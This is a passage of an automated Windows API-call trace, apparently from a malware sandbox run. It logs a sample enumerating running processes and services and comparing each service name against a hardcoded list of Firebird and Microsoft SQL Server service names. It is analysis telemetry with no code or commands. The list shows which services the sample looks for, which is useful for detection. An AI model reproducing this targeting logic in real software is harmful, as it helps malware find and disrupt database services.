(lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.690] lstrlenW (lpString="SENS") returned 4 [0291.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.690] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.690] lstrlenW (lpString="Spooler") returned 7 [0291.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.727] lstrlenW (lpString="SSDPSRV") returned 7 [0291.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0291.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0291.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0291.727] lstrlenW (lpString="StateRepository") returned 15 [0291.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.728] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.728] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.728] lstrlenW (lpString="SysMain") returned 7 [0291.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.728] lstrlenW (lpString="SystemEventsBroker") returned 18 [0291.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0291.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0291.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0291.728] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1088 [0291.733] Process32FirstW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.734] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0291.735] lstrlenW (lpString="System") returned 6 [0291.735] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0291.735] lstrlenW (lpString="smss.exe") returned 8 [0291.736] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.736] lstrlenW (lpString="csrss.exe") returned 9 [0291.736] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0291.755] lstrlenW (lpString="wininit.exe") returned 11 [0291.755] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0291.756] lstrlenW (lpString="csrss.exe") returned 9 [0291.756] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0291.757] lstrlenW (lpString="winlogon.exe") returned 12 [0291.757] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.758] lstrlenW (lpString="services.exe") returned 12 [0291.758] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.759] lstrlenW (lpString="lsass.exe") returned 9 [0291.759] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.760] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.760] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.760] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.760] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.761] lstrlenW (lpString="svchost.exe") returned 11 [0291.761] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.762] lstrlenW (lpString="svchost.exe") returned 11 [0291.762] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.763] lstrlenW (lpString="dwm.exe") returned 7 [0291.763] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.763] lstrlenW (lpString="svchost.exe") returned 11 [0291.763] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.764] lstrlenW (lpString="svchost.exe") returned 11 [0291.764] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.765] lstrlenW (lpString="svchost.exe") returned 11 [0291.765] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.766] lstrlenW (lpString="svchost.exe") returned 11 [0291.766] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.767] lstrlenW (lpString="svchost.exe") returned 11 [0291.767] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.767] lstrlenW (lpString="svchost.exe") returned 11 [0291.767] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.768] lstrlenW (lpString="svchost.exe") returned 11 [0291.768] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.769] lstrlenW (lpString="svchost.exe") returned 11 [0291.769] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.770] lstrlenW (lpString="svchost.exe") returned 11 [0291.770] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.770] lstrlenW (lpString="svchost.exe") returned 11 [0291.771] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.771] lstrlenW (lpString="spoolsv.exe") returned 11 [0291.771] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.772] lstrlenW (lpString="svchost.exe") returned 11 [0291.772] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.773] lstrlenW (lpString="audiodg.exe") returned 11 [0291.773] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0291.774] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0291.774] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0291.775] lstrlenW (lpString="Memory Compression") returned 18 [0291.775] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0291.776] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0291.776] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.776] lstrlenW (lpString="sihost.exe") returned 10 [0291.776] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.777] lstrlenW (lpString="svchost.exe") returned 11 [0291.777] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.778] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.778] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.779] lstrlenW (lpString="msoia.exe") returned 9 [0291.779] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.816] lstrlenW (lpString="explorer.exe") returned 12 [0291.816] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.816] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.817] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.817] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.817] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.818] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.818] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0291.819] lstrlenW (lpString="load0.exe") returned 9 [0291.819] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.820] lstrlenW (lpString="svchost.exe") returned 11 [0291.820] Process32NextW (in: hSnapshot=0x1088, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0291.820] CloseHandle (hObject=0x1088) returned 1 [0291.820] Sleep (dwMilliseconds=0x1f4) [0292.332] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd8f0 [0292.332] EnumServicesStatusExW (in: hSCManager=0x7bd8f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0292.333] GetLastError () returned 0xea [0292.333] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x37b20c0 [0292.333] EnumServicesStatusExW (in: hSCManager=0x7bd8f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0292.334] CloseServiceHandle (hSCObject=0x7bd8f0) returned 1 [0292.334] lstrlenW (lpString="Appinfo") returned 7 [0292.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0292.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0292.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0292.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0292.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0292.334] lstrlenW (lpString="AppXSvc") returned 7 [0292.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0292.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0292.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0292.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0292.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0292.335] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0292.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0292.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0292.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0292.335] lstrlenW (lpString="Audiosrv") returned 8 [0292.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0292.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0292.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0292.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0292.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0292.335] lstrlenW (lpString="BFE") returned 3 [0292.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0292.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0292.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0292.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0292.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0292.335] lstrlenW (lpString="BITS") returned 4 [0292.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0292.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0292.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0292.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0292.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0292.335] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0292.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.336] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0292.336] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0292.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0292.336] lstrlenW (lpString="CDPSvc") returned 6 [0292.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0292.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0292.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0292.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0292.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0292.336] lstrlenW (lpString="ClickToRunSvc") returned 13 [0292.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0292.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0292.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0292.336] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0292.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0292.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0292.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0292.336] lstrlenW (lpString="CryptSvc") returned 8 [0292.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0292.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0292.337] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0292.337] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0292.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0292.337] lstrlenW (lpString="DcomLaunch") returned 10 [0292.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0292.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0292.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0292.337] lstrlenW (lpString="DeviceAssociationService") returned 24 [0292.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0292.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0292.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0292.337] lstrlenW (lpString="Dhcp") returned 4 [0292.337] 